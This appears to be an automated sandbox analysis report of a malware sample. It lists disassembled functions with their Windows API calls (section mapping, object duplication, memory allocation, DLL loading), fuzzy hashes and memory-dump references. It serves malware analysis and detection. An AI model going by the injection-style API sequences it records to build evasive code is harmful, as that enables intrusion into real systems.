Opcode Fuzzy Hash: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction Fuzzy Hash: 0E0181B6308105FADB115AD49D52FBA3719AB45751F30453BB613B80F2C53D8512FB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401992 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1746002543.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction ID: 9477092311c163758adf26378a137d016a4cc75b4861da4fd192d9fcf75081b0
Opcode Fuzzy Hash: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction Fuzzy Hash: 25016D72304105FADB119AD09C52EAA3729AB48355F30457BB613BD0F2C63D8552EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 006B092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 006B09DC, 006B09DF, 006B09E4
., xrefs: 006B095F
l, xrefs: 006B0966

Memory Dump Source

Source File: 00000000.00000002.1746162536.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 254654e92616fbed97a9e78bff470e723ef2f09cb09b4f77d6b80293d0aaa023
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 29316CB6900609DFEB10CF99C880AEEBBF6FF48324F24514AD441A7351D771EA85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 008B08EB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746361183.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8aa000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 89881bc1fb74779db600d65fc13a570ab90a061aa4c0079a97b354fb4581e903
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: B1117C72340204AFE744DE59DC91FE777EAFB89360B298065E904CB316E675E802CB60

Uniqueness

Uniqueness Score: -1.00%

Function 006B0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746162536.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 234ba53533d4c3da5cb596b1fc6310159d7d1ff50711d85f8090656b9c3ca7e8
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 0D01A7B66006048FEF21CF64C805BEB37E6FF85315F4545E5D50697381E774A9818B90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vdhbahwPID: 1004, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	98
Total number of Limit Nodes:	4

Executed Functions

Function 00401590 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction ID: d6964195f2ae178c179c3b7a32e304a619fe45f2cb2dcf097c8130f3d204b23e
Opcode Fuzzy Hash: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction Fuzzy Hash: 64616FB0904205FFEB208F91CC58FAF7BB8EF81710F10416AFA12BA1E5D6749941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction ID: ff81ed2e81490e93a7bfe721f9c6a4d9304ec08e35c355afa89281eda0ffd623
Opcode Fuzzy Hash: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction Fuzzy Hash: 3E5109B5900249BFEB208F91CC49FAB7BB8FF85710F144169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction ID: af686ae4933c2f6004de28669cc23aaadd0110c3f88d1b974755b8c34b4799b2
Opcode Fuzzy Hash: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction Fuzzy Hash: 0E51F9B5900249BFEB208F91CC48FAF7BB8FF85B10F104169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction ID: 765dedf92b6036aea99e2596c7c6646b0bcbba97602321f23575c560d9e65fb8
Opcode Fuzzy Hash: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction Fuzzy Hash: 1451E8B5900249BFEF208F91CC48FDF7BB8FF85B10F104169FA11AA2A5D6749945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004015CB Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction ID: 60f1a669064b898f2f8cfe764b4cdaf5e199705ebcb5ef48edc51869d28594cd
Opcode Fuzzy Hash: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction Fuzzy Hash: 2C51FAB1900249BFEF208F91CC48F9FBBB8FF85B10F104169FA11AA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 006B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006B024D

Strings

cess, xrefs: 006B018D
kernel32.dll, xrefs: 006B008F, 006B0095

Memory Dump Source

Source File: 00000007.00000002.2007384509.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6b0000_vdhbahw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 1cbfe1bad8ad953d37be5dc3ae992457c84081cda89f7c9b413a08e1e8265b97
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 275279B5A00229DFDB64CF58C984BA9BBB1BF09304F1480E9E50DAB351DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0073EA1E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0073EA46
Module32First.KERNEL32(00000000,00000224), ref: 0073EA66

Memory Dump Source

Source File: 00000007.00000002.2007648525.0000000000738000.00000040.00000020.00020000.00000000.sdmp, Offset: 00738000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_738000_vdhbahw.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0c1b9d555295a2aec303e07ce724c0dd0f7df797a5cbe09991e67fcb7006945d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 89F0F632100310BBE7203BF5988DB7E76E8BF48324F104228E682914C2DB74EC054A61

Uniqueness

Uniqueness Score: -1.00%

Function 006B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,006B0223,?,?), ref: 006B0E19
SetErrorMode.KERNELBASE(00000000,?,?,006B0223,?,?), ref: 006B0E1E

Memory Dump Source

Source File: 00000007.00000002.2007384509.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6b0000_vdhbahw.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 5ec0122905795958cf8b6ea84eb92189ad46b0a0d2fb6fa6a8bc84ef3f06bca4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 19D0123114512877D7002A94DC09BCE7F1CDF05B62F008411FB0DD9180C770994147E5

Uniqueness

Uniqueness Score: -1.00%

Function 004029BA Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction ID: ddfd821467dba8d9e3be05996510f596060048204c77d2b9bdf6330f9e046059
Opcode Fuzzy Hash: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction Fuzzy Hash: 5C11E571708104E7D6209A449B4EF6B3724AB50B00F308077E5077A1C0D9FD9A07BBAF

Uniqueness

Uniqueness Score: -1.00%

Function 004029C5 Relevance: 1.6, APIs: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction ID: eda82e36109819710fc28ef01b941f30aa1b457bd77d6c907d6690057fca41fa
Opcode Fuzzy Hash: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction Fuzzy Hash: 3C01C471708205E7DA60DA949A4EB6B7710AB51B10F308077E5037A1C4DAFD9A07FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029D1 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction ID: 27f311fed6bd4bb195386d6e886048742e5b6b48a655c0a394e70793ed6bf28f
Opcode Fuzzy Hash: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction Fuzzy Hash: E0018071708105E7DA609A449B4EB6B7324BB50B10F308477E5077A1C4DAFD9A07BB6F

Uniqueness

Uniqueness Score: -1.00%

Function 004029D5 Relevance: 1.6, APIs: 1, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction ID: 6c082c2f6db60d75b034223dafbed04b71575a1e0537fab93527f59567f6cb96
Opcode Fuzzy Hash: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction Fuzzy Hash: DB01B531708105E7DB60DA409A4DF5F7720BB50B10F208577E5077A1C4DAF99A17EB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004029E2 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction ID: daf8977218c418413866257df5c9087131837fd98e0c4230724de407841e0162
Opcode Fuzzy Hash: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction Fuzzy Hash: 3801DF31708104E7DB209A848A4DB5E7320AB40B10F208577E507BA1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 004029E9 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction ID: 5524fd7572365f35614fa46947343296b9db081daee3b4d0816b59f029c0b045
Opcode Fuzzy Hash: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction Fuzzy Hash: 2101A731704104E7D7209A448A4EB5E7720AB40704F208477E5067A1C4DAB9EA07AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029F9 Relevance: 1.5, APIs: 1, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction ID: 2a527b723104a8d4642483acce18f9de5ed6d5a74c4e47f32731208c7d716ef4
Opcode Fuzzy Hash: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction Fuzzy Hash: 1801A231708104E7DB209A849A4DF9F7720AB40B14F208477E5027A1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 00401969 Relevance: 1.3, APIs: 1, Instructions: 62sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction ID: 1276e484f00ba66cbffb4616bb4d5d076efec51046982770477825c9afbd6400
Opcode Fuzzy Hash: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction Fuzzy Hash: 0F01D2B6708205FADB005A949C62EBB3618AB41755F300637BA13B80F1C57D8513FA6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401975 Relevance: 1.3, APIs: 1, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction ID: 0230620869f43b82b90ed4dddf49477c9f5c6c73dade890abd4ec4b7d4a8195a
Opcode Fuzzy Hash: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction Fuzzy Hash: 4801BCB6308205FADB005A949C62FBA3219AB84751F30053BB613BC0F1C53D8513FA2F

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction ID: 9a4b4ffd5ca22a672d673467c452b15ea5c40039b4ea8ded510267d200494456
Opcode Fuzzy Hash: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction Fuzzy Hash: 3A01B1B6308205FADB115A949C61A7A3319AB45711F30053BB613B80F2C53D8512FA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction ID: 5a2bb716a64f0a1f1a6e426f0b200f3e6862a670896c4db1e76ea4af0659c5ba
Opcode Fuzzy Hash: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
Instruction Fuzzy Hash: 3101DFB2308205FADB005AD49C62F7A3219AB85715F30453BB623B80F1C63D8512FB2F

Uniqueness

Uniqueness Score: -1.00%

Function 0073E6DD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0073E72E

Memory Dump Source

Source File: 00000007.00000002.2007648525.0000000000738000.00000040.00000020.00020000.00000000.sdmp, Offset: 00738000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_738000_vdhbahw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a7816a03ae4842c9efc78bc013a681d035a07f7e8a7615fac9c41ff920f988f4
